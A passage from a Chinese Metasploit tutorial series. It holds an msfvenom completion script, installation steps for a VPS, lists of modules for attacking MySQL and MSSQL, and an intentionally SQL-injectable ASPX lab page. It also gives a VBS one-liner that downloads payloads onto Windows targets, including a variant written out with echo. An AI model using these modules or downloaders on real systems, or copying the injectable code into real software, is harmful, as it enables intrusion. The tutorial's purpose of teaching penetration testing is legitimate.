171. 'ppc64' 172. 'ppc64le' 173. 'ppce500v2' 174. 'python' 175. 'r' 176. 'ruby' 177. 'sparc' 178. 'sparc64' 179. 'tty' 180. 'x64' 181. 'x86' 182. 'x86_64' 183. 'zarch' 184. ) 185. 186. forlinein$archs;do 187. echo"$line" 188. done 189. 第三十课:解决msfvenom命令自动补全 -232- 本文档使用书栈(BookStack.CN)构建 190. } 191. 192. __msfvenom_encoders(){ 193. localencoders 194. encoders=( 195. 'cmd/brace' 196. 'cmd/echo' 197. 'cmd/generic_sh' 198. 'cmd/ifs' 199. 'cmd/perl' 200. 'cmd/powershell_base64' 201. 'cmd/printf_php_mq' 202. 'generic/eicar' 203. 'generic/none' 204. 'mipsbe/byte_xori' 205. 'mipsbe/longxor' 206. 'mipsle/byte_xori' 207. 'mipsle/longxor' 208. 'php/base64' 209. 'ppc/longxor' 210. 'ppc/longxor_tag' 211. 'ruby/base64' 212. 'sparc/longxor_tag' 213. 'x64/xor' 214. 'x64/xor_dynamic' 215. 'x64/zutto_dekiru' 216. 'x86/add_sub' 217. 'x86/alpha_mixed' 218. 'x86/alpha_upper' 219. 'x86/avoid_underscore_tolower' 220. 'x86/avoid_utf8_tolower' 221. 'x86/bloxor' 222. 'x86/bmp_polyglot' 223. 'x86/call4_dword_xor' 224. 'x86/context_cpuid' 225. 'x86/context_stat' 226. 'x86/context_time' 227. 'x86/countdown' 228. 'x86/fnstenv_mov' 229. 'x86/jmp_call_additive' 230. 'x86/nonalpha' 231. 'x86/nonupper' 第三十课:解决msfvenom命令自动补全 -233- 本文档使用书栈(BookStack.CN)构建 232. 'x86/opt_sub' 233. 'x86/service' 234. 'x86/shikata_ga_nai' 235. 'x86/single_static_bit' 236. 'x86/unicode_mixed' 237. 'x86/unicode_upper' 238. 'x86/xor_dynamic' 239. ) 240. 241. forlinein$encoders;do 242. echo"$line" 243. done 244. } 245. 246. __msfvenom_platforms(){ 247. localplatforms 248. platforms=( 249. 'aix' 250. 'android' 251. 'apple_ios' 252. 'bsd' 253. 'bsdi' 254. 'cisco' 255. 'firefox' 256. 'freebsd' 257. 'hardware' 258. 'hpux' 259. 'irix' 260. 'java' 261. 'javascript' 262. 'juniper' 263. 'linux' 264. 'mainframe' 265. 'multi' 266. 'netbsd' 267. 'netware' 268. 'nodejs' 269. 'openbsd' 270. 'osx' 271. 'php' 272. 'python' 273. 'r' 第三十课:解决msfvenom命令自动补全 -234- 本文档使用书栈(BookStack.CN)构建 274. 'ruby' 275. 'solaris' 276. 'unix' 277. 'unknown' 278. 'windows' 279. ) 280. 281. forlinein$platforms;do 282. echo"$line" 283. done 284. } 285. 286. __msfvenom_formats(){ 287. localformats 288. formats=( 289. 'asp' 290. 'aspx' 291. 'aspx‐exe' 292. 'axis2' 293. 'dll' 294. 'elf' 295. 'elf‐so' 296. 'exe' 297. 'exe‐only' 298. 'exe‐service' 299. 'exe‐small' 300. 'hta‐psh' 301. 'jar' 302. 'jsp' 303. 'loop‐vbs' 304. 'macho' 305. 'msi' 306. 'msi‐nouac' 307. 'osx‐app' 308. 'psh' 309. 'psh‐cmd' 310. 'psh‐net' 311. 'psh‐reflection' 312. 'vba' 313. 'vba‐exe' 314. 'vba‐psh' 315. 'vbs' 第三十课:解决msfvenom命令自动补全 -235- 本文档使用书栈(BookStack.CN)构建 316. 'war' 317. 'bash' 318. 'c' 319. 'csharp' 320. 'dw' 321. 'dword' 322. 'hex' 323. 'java' 324. 'js_be' 325. 'js_le' 326. 'num' 327. 'perl' 328. 'pl' 329. 'powershell' 330. 'ps1' 331. 'py' 332. 'python' 333. 'raw' 334. 'rb' 335. 'ruby' 336. 'sh' 337. 'vbapplication' 338. 'vbscript' 339. ) 340. 341. forlinein$formats;do 342. echo"$line" 343. done 344. } 345. 346. #Formostcommonoptions,notaccurately 347. __msfvenom_options(){ 348. localoptions 349. options=( 350. LHOST=\ 351. LPORT=\ 352. EXITFUNC=\ 353. RHOST=\ 354. StageEncoder=\ 355. AutoLoadStdapi=\ 356. AutoRunScript=\ 357. AutoSystemInfo=\ 第三十课:解决msfvenom命令自动补全 -236- 本文档使用书栈(BookStack.CN)构建 358. AutoVerifySession=\ 359. AutoVerifySessionTimeout=\ 360. EnableStageEncoding=\ 361. EnableUnicodeEncoding=\ 362. HandlerSSLCert=\ 363. InitialAutoRunScript=\ 364. PayloadBindPort=\ 365. PayloadProcessCommandLine=\ 366. PayloadUUIDName=\ 367. PayloadUUIDRaw=\ 368. PayloadUUIDSeed=\ 369. PayloadUUIDTracking=\ 370. PrependMigrate=\ 371. PrependMigrateProc=\ 372. ReverseAllowProxy=\ 373. ReverseListenerBindAddress=\ 374. ReverseListenerBindPort=\ 375. ReverseListenerComm=\ 376. ReverseListenerThreaded=\ 377. SessionCommunicationTimeout=\ 378. SessionExpirationTimeout=\ 379. SessionRetryTotal=\ 380. SessionRetryWait=\ 381. StageEncoder=\ 382. StageEncoderSaveRegisters=\ 383. StageEncodingFallback=\ 384. StagerRetryCount=\ 385. StagerRetryWait=\ 386. VERBOSE=\ 387. WORKSPACE= 388. ) 389. 390. echo$options 391. } 392. 393. #_msfvenom"$@" Micropoor 第三十课:解决msfvenom命令自动补全 -237- 本文档使用书栈(BookStack.CN)构建 Theworld’smostusedpenetrationtestingframework. Metasploit 从本季开始将会连载Metasploit教学,非常荣幸,本部门在我的“怂恿”下,基本以Metasploit 为常用框架做渗透。为了更好的把这个“坏习惯”延续下去,遂打算写一套完整的系列教程。以供同学们 在使用中,或者新来的同学形成递归学习或者查询相关资料。在写的同时,查阅了大量的资料以及借鉴 了许多思路。感谢为此贡献的老师们。 Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试 (penetrationtesting)及入侵检测系统签名开发。 Github开源地址:https://github.com/rapid7/metasploit-framework msf(未来Metasploit的简称)基本遵循PTES渗透测试标准。它将渗透分解如下: 1. 创建项目 2. 发现设备 3. 获取对主机的访问权限 4. 控制会话 5. 从目标主机收集证据 6. 会话清除 7. 生成报告(需pro版本) 1:前期交互阶段 在前期交互(Pre-EngagementInteraction)阶段,渗透测试团队与客户组织进行交互讨论,最 重要的是确定渗透测试的范围、目标、限制条件以及服务合同细节。 该阶段通常涉及收集客户需求、准备测试计划、定义测试范围与边界、定义业务目标、项目管理与规划 等活动。 2:情报收集阶段 在目标范围确定之后,将进入情报搜集(InformationGathering)阶段,渗透测试团队可以利用 各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置 与安全防御措施的信息。 渗透测试者可以使用的情报搜集方法包括公开来源信息查询、GoogleHacking、社会工程学、网络踩 点、扫描探测、被动监听、服务查点等。而对目标系统的情报探查能力是渗透测试者一项非常重要的技 能,情报搜集是否充分在很大程度上决定了渗透测试的成败,因为如果你遗漏关键的情报信息,你将可 能在后面的阶段里一无所获。 3:威胁建模阶段 而PTEST渗透测试标准如下: 第三十一课:msf的前生今世 -238- 本文档使用书栈(BookStack.CN)构建 在搜集到充分的情报信息之后,渗透测试团队的成员们停下敲击键盘,大家聚到一起针对获取的信息进 行威胁建模(ThreatModeling)与攻击规划。这是渗透测试过程中非常重要,但很容易被忽视的一 个关键点。 通过团队共同的缜密情报分析与攻击思路头脑风暴,可以从大量的信息情报中理清头绪,确定出最可行 的攻击通道。 4:漏洞分析阶段 在确定出最可行的攻击通道之后,接下来需要考虑该如何取得目标系统的访问控制权,即漏洞分析 (VulnerabilityAnalysis)阶段。 在该阶段,渗透测试者需要综合分析前几个阶段获取并汇总的情报信息,特别是安全漏洞扫描结果、服 务查点信息等,通过搜索可获取的渗透代码资源,找出可以实施渗透攻击的攻击点,并在实验环境中进 行验证。在该阶段,高水平的渗透测试团队还会针对攻击通道上的一些关键系统与服务进行安全漏洞探 测与挖掘,期望找出可被利用的未知安全漏洞,并开发出渗透代码,从而打开攻击通道上的关键路径。 5:渗透攻击阶段 渗透攻击(Exploitation)是渗透测试过程中最具有魅力的环节。在此环节中,渗透测试团队需要利 用他们所找出的目标系统安全漏洞,来真正入侵系统当中,获得访问控制权。 渗透攻击可以利用公开渠道可获取的渗透代码,但一般在实际应用场景中,渗透测试者还需要充分地考 虑目标系统特性来定制渗透攻击,并需要挫败目标网络与系统中实施的安全防御措施,才能成功达成渗 透目的。在黑盒测试中,渗透测试者还需要考虑对目标系统检测机制的逃逸,从而避免造成目标组织安 全响应团队的警觉和发现 6:后渗透攻击阶段 后渗透攻击(PostExploitation)是整个渗透测试过程中最能够体现渗透测试团队创造力与技术能 力的环节。前面的环节可以说都是在按部就班地完成非常普遍的目标,而在这个环节中,需要渗透测试 团队根据目标组织的业务经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标, 识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织 造成最重要业务影响的攻击途径。 在不同的渗透测试场景中,这些攻击目标与途径可能是千变万化的,而设置是否准确并且可行,也取决 于团队自身的创新意识、知识范畴、实际经验和技术能力。 7:报告阶段 渗透测试过程最终向客户组织提交,取得认可并成功获得合同付款的就是一份渗透测试报告 (Reporting)。这份报告凝聚了之前所有阶段之中渗透测试团队所获取的关键情报信息、探测和发掘 出的系统安全漏洞、成功渗透攻击的过程,以及造成业务影响后果的攻击途径,同时还要站在防御者的 角度上,帮助他们分析安全防御体系中的薄弱环节、存在的问题,以及修补与升级技术方案。 本系列教程以msf4.15.45为基础,后期可能会以msf5为基础。 第三十一课:msf的前生今世 -239- 本文档使用书栈(BookStack.CN)构建 msf核心代码为Ruby开发。这里需要解释,为什么作者以Ruby为核心语言开发?而不是python, perl等大众语言开发? 以下是在2005年左右写的。 在框架的开发过程中,Metasploit开发人员不断被问到的一个反复出现的问题是为什么选择Ruby作为 编程语言。为避免单独回答此问题,作者选择在本文档中解释其原因。 由于很多原因,选择了Ruby编程语言而不是其他选择,例如python,perl和C++。选择Ruby的第一 个(也是主要的)原因是因为它是Metasploit员工喜欢写的一种语言。在花时间分析其他语言并考虑 过去的经验后,发现Ruby编程语言既简单又强大解释语言的方法。Ruby提供的内省程度和面向对象的 方面非常适合框架的一些要求。框架对代码重用的自动化类构造的需求是决策制定过程中的关键因素, 而且它是perl不太适合提供的东西之一。除此之外,选择Ruby的第二个原因是因为它支持平台独立于 线程。虽然在该模型下开发框架期间遇到了许多限制,但Metasploit工作人员观察到了2.x分支的显 着性能和可用性改进。未来版本的Ruby(1.9系列)将使用本机线程支持现有的线程API,操作系统将 编译解释器,这将解决当前实现的许多现有问题(例如允许使用阻塞操作)。与此同时,与传统的分叉 模型相比,现有的线程模型被发现要优越得多,特别是在缺少像Windows这样的原生分支实现的平台 上。 这里转载原作者的话: 第三十一课:msf的前生今世 -240- 本文档使用书栈(BookStack.CN)构建 选择Ruby的另一个原因是因为Windows平台支持存在本机解释器。虽然perl有cygwin版本和 ActiveState版本,但两者都受到可用性问题的困扰。可以在Windows上本地编译和执行Ruby解释器 的事实大大提高了性能。此外,解释器也非常小,并且可以在出现错误时轻松修改。 Python编程语言也是候选语言。Metasploit员工选择Ruby而不是python的原因有几个原因。主要 原因是对python强制的一些语法烦恼的普遍厌恶,例如block-indention。虽然许多人认为这种方 法的好处,但Metasploit工作人员的一些成员认为这是一个不必要的限制。Python的其他问题围绕 父类方法调用的限制和解释器的向后兼容性。 C/C++编程语言也得到了非常认真的考虑,但最终很明显,尝试以非解释性语言部署可移植和可用的 框架是不可行的。 此外,这种语言选择的开发时间线很可能会更长。尽管框架的2.x分支已经相当成功,但Metasploit 开发人员遇到了许多限制和烦恼与perl的面向对象编程模型或缺乏。事实上perl解释器是许多发行版 上默认安装的一部分,这并不是Metasploit员工认为值得绕开语言选择的东西。 最后,所有这些都归结为选择一种对框架贡献最大的人所享有的语言,而这种语言最终成为Ruby。 Micropoor 第三十一课:msf的前生今世 -241- 本文档使用书栈(BookStack.CN)构建 许多教程都会讲解msf分别在windows,linux以及Mac上的安装,而在实际的项目中,或者实 战中,居多以vps上做跳板渗透,而vps又以linux居多。故本章直接以linux为安装背景。 1. root@john:~#uname-a 2. Linuxjohn3.16.0-7-amd64#1SMPDebian3.16.59-1(2018-10-03)x86_64GNU/Linux 3. 4. root@john:~#lsb_release-a 5. NoLSBmodulesareavailable. 6. DistributorID:Debian 7. Description:DebianGNU/Linux8.11(jessie) 8. Release:8.11Codename:jessie 9. 10. root@john:~#cat/proc/version 11. Linuxversion3.16.0-7-amd64(debian-kernel@lists.debian.org)(gccversion 4.9.2(Debian4.9.2-10+deb8u1))#1SMPDebian3.16.59-1(2018-10-03) 以Debian为载体,更能快速的安装与配置msf。 配置源 1. root@john:~#nano/etc/apt/sources.list 2. root@john:~#cat/etc/apt/sources.list 3. # 4. #debcdrom:[DebianGNU/Linux8.11.0_Jessie_-Officialamd64NETINSTBinary-1 20180623-13:06]/jessiemain 5. 6. #debcdrom:[DebianGNU/Linux8.11.0_Jessie_-Officialamd64NETINSTBinary-1 20180623-13:06]/jessiemain 7. 8. debhttp://http.us.debian.org/debian/jessiemain 9. deb-srchttp://http.us.debian.org/debian/jessiemain 10. debhttp://security.debian.org/jessie/updatesmain 11. deb-srchttp://security.debian.org/jessie/updatesmain 12. 13. #jessie-updates,previouslyknownas'volatile' 14. debhttp://http.us.debian.org/debian/jessie-updatesmain 15. deb-srchttp://http.us.debian.org/debian/jessie-updatesmain 16. #debhttp://http.kali.org/kalikali-rollingmainnon-freecontrib vps背景如下: 安装: 第三十二课:配置vps上的msf -242- 本文档使用书栈(BookStack.CN)构建 17. #deb-srchttp://http.kali.org/kalikali-rollingmainnon-freecontrib 18. debhttp://http.kali.org/kalikali-rollingmainnon-freecontrib 19. #debhttp://http.kali.org/kalikali-rollingmainnon-freecontrib 更新源: 1. root@john:~#apt-getupdate&&apt-getupgrade 更新后故可apt安装即可,方便快捷。 1. root@john:~#apt-getinstallmetasploit-framework 如安装sqlmap等。安装metasploit-framework, 第三十二课:配置vps上的msf -243- 本文档使用书栈(BookStack.CN)构建 以此种方式安装,也无需在配置psql。可快速部署解决项目。 sqlmap 第三十二课:配置vps上的msf -244- 本文档使用书栈(BookStack.CN)构建 在虚拟机,多数存在几点问题 1. 配置后,ssh无法连接 2. 关于vmtools的问题 3. 虚拟机的vpn问题 4. U盘安装kali不能挂载的问题 配置SSH: 1. aptinstallssh 2. nano/etc/ssh/sshd_config#PasswordAuthenticationno//修改yes 3. #PermitRootLoginyes//修改yes 4. servicesshstart//重启 5. /etc/init.d/sshstatus//验证 6. update-rc.dsshenable//添加开机重启 7. //运行sshroot登录 8. #PermitRootLoginprohibit-password改为PermitRootLoginyes 更新源安装vmtool,文件头: 1. root@john:~#apt-getinstallopen-vm-tools-desktopfuse 2. root@john:~#apt-cachesearchlinux-headers//安装头文件 3. root@john:~#apt-getinstalllinux-image-4.9.0-kali3-amd64 4. root@john:~#apt-getinstalllinux-image-4.9.0// 5. root@john:~#apt-getinstalllinux-headers-4.9.0-kali4-amd64//重启 6. root@john:~#apt-getinstalllinux-headers-$(uname-r)//kali2.0以后vmtools不需 要安装 安装各种VPN: 1. apt-getinstall-ypptpdnetwork-manager-openvpnnetwork-manager-openvpn-gnome network-manager-pptpnetwork-manager-pptp-gnomenetwork-manager-strongswan network-manager-vpncnetwork-manager-vpnc-gnome 重启网卡即可。 问题1: 问题2: 问题3: 第三十二课:配置vps上的msf -245- 本文档使用书栈(BookStack.CN)构建 KaliU盘安装不能挂载: 第一步:df-m 此时会看到挂载信息,最下面的是/dev/XXX/media 这个是U盘设备挂载到了/media,导致cd-rom不能被挂载。 第二步:umount/media 上面那个国外的解决方案还要继续mount/dev/XXX/cd-rom 但本机测试不用自己挂载,安装程序会自己挂载。自己挂载反而会引起后面出现GRUB安装失败。 第三步:exit 退出命令窗口后,返回之前的语言选择,继续安装,现在不会再出现cd-rom无法挂载的情况了,安装 顺利完成 在vps配置并更新好以上源时,按照项目或者任务在安装其他相关工具辅助。当不确定或者对某些工具 遗忘时,可如下操作: 问题4: 第三十二课:配置vps上的msf -246- 本文档使用书栈(BookStack.CN)构建 1. sh-c"\$(curl-fsSLhttps://raw.githubusercontent.com/robbyrussell/oh-my- zsh/master/tools/install.sh)" 2. chsh-s`whichzsh`//设置默认为zsh 3. cat/etc/shells//查看当前安装的shell 4. echo$SHELL//查看当前使用shells 配置zsh: 第三十二课:配置vps上的msf -247- 本文档使用书栈(BookStack.CN)构建 如果是vps不建议安装oh-my-zsh,很多国外的vps延迟较多。我是配置zsh。 wgethttps://raw.githubusercontent.com/skywind3000/vim/master/etc/zshrc.zsh 把上面下载的文件复制粘贴到你的~/.zshrc文件里,保存,运行zsh即可。头一次运行会安装一 些依赖包,稍等两分钟,以后再进入就瞬间进入了。 如果不能tab补全: 1. nano/root/.bashrc 跳到最后一行,添加: 1. if[-f/etc/bash_completion]&&!shopt-oqposix;then 2. ./etc/bash_completion 3. fi 第三十二课:配置vps上的msf -248- 本文档使用书栈(BookStack.CN)构建 为msfpayload添加第三方框架:(这未来会详细讲述,次季,仅是安装) 1. root@John:~#apt-getinstallveil-evasion 第三十二课:配置vps上的msf -249- 本文档使用书栈(BookStack.CN)构建 至此vps上的msf的初级配置结束。 注:部分vps上没有安装mlocate,安装即可。 第三十二课:配置vps上的msf -250- 本文档使用书栈(BookStack.CN)构建 Micropoor 第三十二课:配置vps上的msf -251- 本文档使用书栈(BookStack.CN)构建 msf内置关于mysql插件如下(部分非测试mysql插件) 关于msf常用攻击mysql插件如下: 1. auxiliary/scanner/mysql/mysql_login 2. exploit/multi/mysql/mysql_udf_payload 3. exploit/windows/mysql/mysql_mof 4. exploit/windows/mysql/scrutinizer_upload_exec 5. auxiliary/scanner/mysql/mysql_hashdump 6. auxiliary/admin/mysql/mysql_sql 7. auxiliary/scanner/mysql/mysql_version 以下本地靶机测试: 靶机1:x86Windows7 第三十三课:攻击Mysql服务 -252- 本文档使用书栈(BookStack.CN)构建 靶机2: x86windows2003ip:192.168.1.115 第三十三课:攻击Mysql服务 -253- 本文档使用书栈(BookStack.CN)构建 常用于内网中的批量以及单主机的登录测试。 常用于root启动的mysql并root的udf提权。 1、auxiliary/scanner/mysql/mysql_login 2、exploit/multi/mysql/mysql_udf_payload 第三十三课:攻击Mysql服务 -254- 本文档使用书栈(BookStack.CN)构建 第三十三课:攻击Mysql服务 -255- 本文档使用书栈(BookStack.CN)构建 以上类似,提权。 3、exploit/windows/mysql/mysql_mof 第三十三课:攻击Mysql服务 -256- 本文档使用书栈(BookStack.CN)构建 上传文件执行。 4、exploit/windows/mysql/scrutinizer_upload_exec 第三十三课:攻击Mysql服务 -257- 本文档使用书栈(BookStack.CN)构建 mysql的mysql.user表的hash 而在实战中,mysql_hashdump这个插件相对其他较为少用。一般情况建议使用sql语句: 更直观,更定制化 5、auxiliary/scanner/mysql/mysql_hashdump 第三十三课:攻击Mysql服务 -258- 本文档使用书栈(BookStack.CN)构建 执行sql语句。尤其是在目标机没有web界面等无法用脚本执行的环境。 6、auxiliary/admin/mysql/mysql_sql 第三十三课:攻击Mysql服务 -259- 本文档使用书栈(BookStack.CN)构建 常用于内网中的批量mysql主机发现。 后者的话: 在内网横向渗透中,需要大量的主机发现来保证渗透的过程。而以上的插件,在内网横向或者mysql主机发现的 过程中,尤为重要。 Micropoor 7、auxiliary/scanner/mysql/mysql_version 第三十三课:攻击Mysql服务 -260- 本文档使用书栈(BookStack.CN)构建 msf内置关于mssql插件如下(部分非测试mssql插件) 关于msf常用攻击mssql插件如下: 1. auxiliary/admin/mssql/mssql_enum 2. auxiliary/admin/mssql/mssql_enum_sql_logins 3. auxiliary/admin/mssql/mssql_escalate_dbowner 4. auxiliary/admin/mssql/mssql_exec 5. auxiliary/admin/mssql/mssql_sql 6. auxiliary/admin/mssql/mssql_sql_file 7. auxiliary/scanner/mssql/mssql_hashdump 8. auxiliary/scanner/mssql/mssql_login 9. auxiliary/scanner/mssql/mssql_ping 10. exploit/windows/mssql/mssql_payload 11. post/windows/manage/mssql_local_auth_bypass 本地靶机测试: x86windows2003ip:192.168.1.115 第三十四课:攻击Sqlserver服务 -261- 本文档使用书栈(BookStack.CN)构建 非常详细的目标机Sqlserver信息: 1.auxiliary/admin/mssql/mssql_enum 第三十四课:攻击Sqlserver服务 -262- 本文档使用书栈(BookStack.CN)构建 第三十四课:攻击Sqlserver服务 -263- 本文档使用书栈(BookStack.CN)构建 枚举sqllogins,速度较慢,不建议使用。 2.auxiliary/admin/mssql/mssql_enum_sql_logins 第三十四课:攻击Sqlserver服务 -264- 本文档使用书栈(BookStack.CN)构建 发现dbowner,当sa无法得知密码的时候,或者需要其他账号提供来支撑下一步的内网渗透。 最常用模块之一,当没有激活xp_cmdshell,自动激活。并且调用执行cmd命令。权限继承Sql server。 3.auxiliary/admin/mssql/mssql_escalate_dbowner 4.auxiliary/admin/mssql/mssql_exec 第三十四课:攻击Sqlserver服务 -265- 本文档使用书栈(BookStack.CN)构建 最常用模块之一,如果熟悉Sqlserver数据库特性,以及sql语句。建议该模块,更稳定。 当需要执行多条sql语句的时候,或者非常复杂。msf本身支持执行sql文件。授权渗透应用较少,非授 权应用较多的模块。 5.auxiliary/admin/mssql/mssql_sql 6.auxiliary/admin/mssql/mssql_sql_file 第三十四课:攻击Sqlserver服务 -266- 本文档使用书栈(BookStack.CN)构建 mssql的hash导出。如果熟悉sql语句。也可以用mssql_sql模块来执行。 7.auxiliary/scanner/mssql/mssql_hashdump 第三十四课:攻击Sqlserver服务 -267- 本文档使用书栈(BookStack.CN)构建 内网渗透中的常用模块之一,支持RHOSTS,来批量发现内网mssql主机。mssql的特性除了此种方 法。还有其他方法来专门针对mssql主机发现,以后得季会提到。 查询mssql实例,实战中,应用较少。信息可能不准确。 8.auxiliary/scanner/mssql/mssql_login 9.auxiliary/scanner/mssql/mssql_ping 第三十四课:攻击Sqlserver服务 -268- 本文档使用书栈(BookStack.CN)构建 非常好的模块之一,在实战中。针对不同时间版本的系统都有着自己独特的方式来上传payload。 注:由于本季的靶机是windows2003,故参数setmethodold,如果本次的参数为cmd,那么 payload将会失败。 10.exploit/windows/mssql/mssql_payload 第三十四课:攻击Sqlserver服务 -269- 本文档使用书栈(BookStack.CN)构建 post模块都属于后渗透模块,不属于本季内容。未来的系列。会主讲post类模块。 后者的话: 在内网横向渗透中,需要大量的主机发现来保证渗透的过程。而以上的插件,在内网横向或者Sqlserver主机 发现的过程中,尤为重要。与Mysql不同的是,在Sqlserver的模块中,一定要注意参数的配备以及 payload的组合。否则无法反弹payload。 Micropoor 11.post/windows/manage/mssql_local_auth_bypass 第三十四课:攻击Sqlserver服务 -270- 本文档使用书栈(BookStack.CN)构建 msf在非session模式下与session模式下都支持第三方的加载与第三方框架的融合。代表参数 为load。两种模式下的load意义不同。本季主要针对非session模式下的loadsqlmap情 景。 1. SqlmapCommands 2. =============== 3. 4. CommandDescription 5. 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. sqlmap_connectsqlmap_connect<host>[<port>] 8. sqlmap_get_dataGettheresultingdataofthetask 9. sqlmap_get_logGettherunninglogofatask 10. sqlmap_get_optionGetanoptionforatask 11. sqlmap_get_statusGetthestatusofatask 12. sqlmap_list_tasksListtheknowstasks.NewtasksarenotstoredinDB,solives aslongastheconsoledoes 13. sqlmap_new_taskCreateanewtask 14. sqlmap_save_dataSavetheresultingdataasweb_vulns 15. sqlmap_set_optionSetanoptionforatask 16. sqlmap_start_taskStartthetask 17. msfexploit(multi/handler)>helpsqlmap help加载的模块名,为显示第三方的帮助文档。 加载Sqlmap后,主要参数如下: 第三十五课:与Sqlmap结合攻击 -271- 本文档使用书栈(BookStack.CN)构建 msf上的sqlmap插件依赖于sqlmap的sqlmapapi.py在使用前需要启动sqlmapapi.py 然后在msf上建立任务。 而sqlmap对msf也完美支持。 靶机: 192.168.1.115,Sqlserver2005+aspx.net 构造注入点,如图1: 第三十五课:与Sqlmap结合攻击 -272- 本文档使用书栈(BookStack.CN)构建 数据结构,如图2: 第三十五课:与Sqlmap结合攻击 -273- 本文档使用书栈(BookStack.CN)构建 关于msf与sqlmap的结合在未来的系列中还会继续讲述,本季作为基础。 注入点代码: 附录: 第三十五课:与Sqlmap结合攻击 -274- 本文档使用书栈(BookStack.CN)构建 1. <%@PageLanguage="C#"AutoEventWireup="true"%> 2. <%@ImportNamespace="System.Data"%> 3. <%@Importnamespace="System.Data.SqlClient"%> 4. <!DOCTYPEhtml> 5. <scriptrunat="server"> 6. privateDataSetresSet=newDataSet(); 7. protectedvoidPage_Load(objectsender,EventArgse) 8. { 9. Stringstrconn="server=.;database=xxrenshi;uid=sa;pwd=123456"; 10. stringid=Request.Params["id"]; 11. //stringsql=string.Format("select*fromadminwhereid={0}",id); 12. stringsql="select*fromsys_userwhereid="+id; 13. SqlConnectionconnection=newSqlConnection(strconn); 14. connection.Open(); 15. SqlDataAdapterdataAdapter=newSqlDataAdapter(sql,connection); 16. dataAdapter.Fill(resSet); 17. DgData.DataSource=resSet.Tables[0]; 18. DgData.DataBind(); 19. Response.Write("sql:<br>"+sql); 20. Response.Write("<br>Result:"); 21. } 22. 23. </script> 24. 25. <htmlxmlns="http://www.w3.org/1999/xhtml"> 26. <headrunat="server"> 27. <metahttp‐equiv="Content‐Type"content="text/html;charset=utf‐8"/> 28. <title></title> 29. </head> 30. <body> 31. <formid="form1"runat="server"> 32. <div> 33. 34. <asp:DataGridID="DgData"runat="server"BackColor="White" BorderColor="#3366CC" 35. BorderStyle="None"BorderWidth="1px"CellPadding="4" 36. HeaderStyle‐CssClass="head"Width="203px"> 37. <FooterStyleBackColor="#99CCCC"ForeColor="#003399"/> 38. <SelectedItemStyleBackColor="#009999"Font‐Bold="True"ForeColor="#CCFF99"/> 39. <PagerStyleBackColor="#99CCCC"ForeColor="#003399"HorizontalAlign="Left" Mode="NumericPages"/> 40. 第三十五课:与Sqlmap结合攻击 -275- 本文档使用书栈(BookStack.CN)构建 41. <ItemStyleBackColor="White"ForeColor="#003399"/> 42. 43. <HeaderStyleCssClass="head"BackColor="#003399"Font‐Bold="True"Fore 44. Color="#CCCCFF"></HeaderStyle> 45. </asp:DataGrid> 46. 47. </div> 48. </form> 49. </body> 50. </html> Micropoor 第三十五课:与Sqlmap结合攻击 -276- 本文档使用书栈(BookStack.CN)构建 在写第五季的时候,vps掉线了,ssh重新登录后,无法切到MSFsession下,想到部分同学如 果在vps上操作也会遇到这个问题,故本季解决该问题。 Tmux是一个优秀的终端复用软件,类似GNUScreen,但来自于OpenBSD,采用BSD授权。使用它最直 观的好处就是,通过一个终端登录远程主机并运行tmux后,在其中可以开启多个控制台而无需再“浪 费”多余的终端来连接这台远程主机。是BSD实现的Screen替代品,相对于Screen,它更加先进:支 持屏幕切分,而且具备丰富的命令行参数,使其可以灵活、动态的进行各种布局和操作。 1. 可以某个程序在执行时一直是输出状态,需要结合nohup、&来放在后台执行,并且ctrl+c结 束。这时可以打开一个Tmux窗口,在该窗口里执行这个程序,用来保证该程序一直在执行中,只 要Tmux这个窗口不关闭 2. 公司需要备份数据库时,数据量巨大,备份两三天弄不完,这时不小心关闭了终端窗口或误操作 就前功尽弃了,使用Tmux会话运行命令或任务,就不用担心这些问题。 3. 下班后,你需要断开ssh或关闭电脑,将运行的命令或任务放置后台运行。 4. 关闭终端,再次打开时原终端里面的任务进程依然不会中断 5. 在渗透过程中,意外因网络等原因ssh掉线,tmux可以恢复session会话 tmux是什么? Tmux的使用场景 第三十六课:解决vps上ssh掉线 -277- 本文档使用书栈(BookStack.CN)构建 tmuxnew-ssession1新建会话 ctrl+bd退出会话,回到shell的终端环境//tmuxdetach-client tmuxls终端环境查看会话列表 ctrl+bs会话环境查看会话列表 tmuxa-tsession1从终端环境进入会话 tmuxkill-session-tsession1销毁会话 tmuxrename-told_session_namenew_session_name重命名会话 ctrl+b$重命名会话(在会话环境中) 还原会话 Micropoor tmux常用操作命令: 第三十六课:解决vps上ssh掉线 -278- 本文档使用书栈(BookStack.CN)构建 一次msf完整的流程离不开目标机的payload下载与执行。而针对不同环境目标,考虑或者选择不 同方式的payload下载与执行。如webshell下,注入点下。smb下等。而针对不同的实际环 境,来做最好的选择。 既然本季开始专门针对windows下的payload下载讲解,那么就需要考虑到目标机的系统版本, 是windows2000,windows2003,或者是更高的版本如windows2016等。 无论是哪个版本的windows系列,都是支持vbs的。 靶机:windows2003 保存downfile.vbs ```visualbasic seta=createobject(“adod”+”b.stream”):set w=createobject(“micro”+”soft.xmlhttp”):w.open “get”,wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 1. 2. ###命令行下执行: 3. ```bash 4. cscriptdownfile.vbshttp://192.168.1.115/robots.txtC:\Inetpub\b.txt 往往在实战中,没有上传的方便条件,尤其是目标机是windows,只有echo方式来写入vbs。 vbs: 命令行下执行: 第三十七课:vbs一句话下载payload -279- 本文档使用书栈(BookStack.CN)构建 1. echoseta=createobject(^"adod^"+^"b.stream^"):set 2. w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send w.responsebody:a.savetofile 3. wsh.arguments(1),2>>downfile.vbs 优点:支持windows全版本系列 缺点:对https不友好 Micropoor 第三十七课:vbs一句话下载payload -280- 本文档使用书栈(BookStack.CN)构建 Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书 颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。 url:https://docs.microsoft.com/en-us/previous-versions/windows/it- pro/windows-server-2012-R2-and-2012/cc732443(v=ws.11) 但是近些年好像被玩坏了。 靶机:windows2003windows7 1. 